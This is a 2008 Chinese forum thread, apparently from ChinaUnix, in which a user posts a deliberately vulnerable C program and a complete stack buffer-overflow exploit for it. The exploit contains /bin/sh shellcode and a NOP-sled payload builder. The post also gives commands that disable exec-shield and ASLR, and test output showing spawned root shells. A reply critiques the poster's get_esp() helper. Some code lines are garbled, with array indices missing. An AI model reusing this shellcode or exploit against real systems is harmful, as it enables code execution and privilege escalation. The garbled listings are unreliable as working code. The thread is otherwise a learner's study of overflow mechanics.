ruger 发表于 2008-08-23 12:52

一个溢出程序的疑惑(gcc 4.1.2+FC7)

一个有问题的程序:

/*
* test.c for test overflow under FC7 with gcc 4.1.2
* you must echo "0">/proc/sys/kernel/exec-shield
* you mustecho"0">/proc/sys/kernel/randomize_va_space
*/

long get_esp()
{
   __asm__("movl %esp,%eax");
}
void func(unsigned char *from)
{
      unsigned char dest;
      long esp;
      esp = get_esp();
      printf("esp : 0x%x\n",esp);//打印当前ESP内容
      strcpy(dest,from);//此处溢出
}
int main(int argc,char *argv[]){
      if(argc>1){
                func(argv);
      }
      return 0;
}


攻击程序:

/*
* attacktest.c to attack test.c under FC7 with gcc 4.1.2
* you must echo "0">/proc/sys/kernel/exec-shield
* you mustecho"0">/proc/sys/kernel/randomize_va_space
*/
#include<stdio.h>
#include<stdlib.h>

unsigned char shellcode[] =
   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
   "\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
   "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
long get_esp()
{
   __asm__("movl %esp,%eax");
}

main(int argc,char *argv[])
{
      int i =0;
      char *ptr;
      long *addr_ptr;
      long addr;
      int offset=0,bsize=700;
      unsigned char *buffer;

      if(argc>1) bsize = atoi(argv);
      if(argc>2) offset = atoi(argv);

      addr = get_esp() - offset;
      if(!(buffer=malloc(bsize))) {
                printf("no enough memory!\n");
                exit(0);
      }

      printf("esp : 0x%x\n",addr);//打印当前ESP内容
      ptr=buffer;
      addr_ptr=(long *)ptr;

      for(i=0;i<bsize;i+=4)
                *(addr_ptr++)=addr;

      for(i=0;i<bsize/2;i++)
                buffer=0x90;

      ptr=buffer+bsize/2;
      for(i=0;i<strlen(shellcode);i++)
                *(ptr++)=shellcode;

      buffer='\0';

      execl("./test","test",buffer,0);
      free(buffer);
      return 0;

}


对于attacktest.c的buffer的设计:|NOP.......NOP|shelllcode|ESP........ESP|,其中buffer的一半都是NOP
经过测试test.c被溢出的上限和下限分别是953和635(657为原先测试的下限,后来将test.c中大取ESP地址并打印的部分去掉了,下限就变成了635,后来又将打印ESP添上,下限仍然是635),我分析test.c堆栈结构如下(阴影部分不知道有什么用处):

假设attacktest.c中的buffer的长度为x,不考虑猜测EIP的偏差,shellcode长度为45,则必须满足:x/2+45<=512+4+4,则 x<=950,也就是NOP+shellcode部分必须在buff1以内。考虑到buff2要覆盖buff1并覆盖其后的EIP,因此x> 512+4+4,即x>520,即:
在不考虑猜测EIP偏差的情况下:520<x<950

现在考虑猜测EIP偏差,分别测试边界情况的猜测EIP偏差:

# ./attacktest 953
esp : 0xbfffe418----------------------------------------------->attacktest.c
esp : 0xbfffde88----------------------------------------------->test.c
sh-3.2# exit
exit
# ./attacktest 657
esp : 0xbfffe418------------------------------------------------>attacktest.c
esp : 0xbfffdfa8------------------------------------------------->test.c
sh-3.2# exit
exit

可以看出attacktest.c中ESP的地址比test.c的ESP地址高1000多,那么覆盖test.c中的dest后的返回地址就会比Ttest.c当前的ESP高出很多,就不会返回到dest去执行shellcode了。不解
另外,我编写程序打印ESP内容,发现GDB里调试的结果和单独执行不一样,而且在两个终端同时执行一个程序,结果也不一样。
高手说说linux下可执行程序刚开始的地址是怎么选取的吧?
对于

long get_esp()
{
   __asm__("movl %esp,%eax");
}

main()
{
      long esp;
      esp = get_esp();
      printf("%x\n",esp);
}

在不同终端中运行的记过分别是bfffe448,bfffe3a8,bfffe468

ruger 发表于 2008-08-25 08:29

回复 #1 ruger 的帖子

anybody can help me?

mik 发表于 2008-08-25 22:39

这个 get_esp() 是不对的。
得到的只是下栈桢的值,不是当前esp的值,得到当前esp,应该在当前处嵌入汇编

ruger 发表于 2008-08-25 22:55

回复 #3 mik 的帖子

嵌入汇编,我明天试一下,不过感觉还是有问题,因为test.c和attacktest.c的get_esp返回结果超过1000了;get_esp()得到的不是当前esp的值,我觉得,应该是当前esp-4,但是都-4的话应该相互抵消了啊?
详见:http://linux.chinaunix.net/bbs/thread-1026846-1-1.html

mik 发表于 2008-08-25 23:08

原帖由 ruger 于 2008-8-25 22:55 发表 http://linux.chinaunix.net/bbs/images/common/back.gif
嵌入汇编,我明天试一下,不过感觉还是有问题,因为test.c和attacktest.c的get_esp返回结果超过1000了;get_esp()得到的不是当前esp的值,我觉得,应该是当前esp-4,但是都-4的话应该相互抵消了啊?
详见:htt ...

你的程序感觉很乱,主贴又长又罗嗦, 所以,我基本没看你的贴子,只看了一眼 get_esp()

你最好把你的想法,意图清楚地表达出来
页: [1]
查看完整版本: 一个溢出程序的疑惑(gcc 4.1.2+FC7)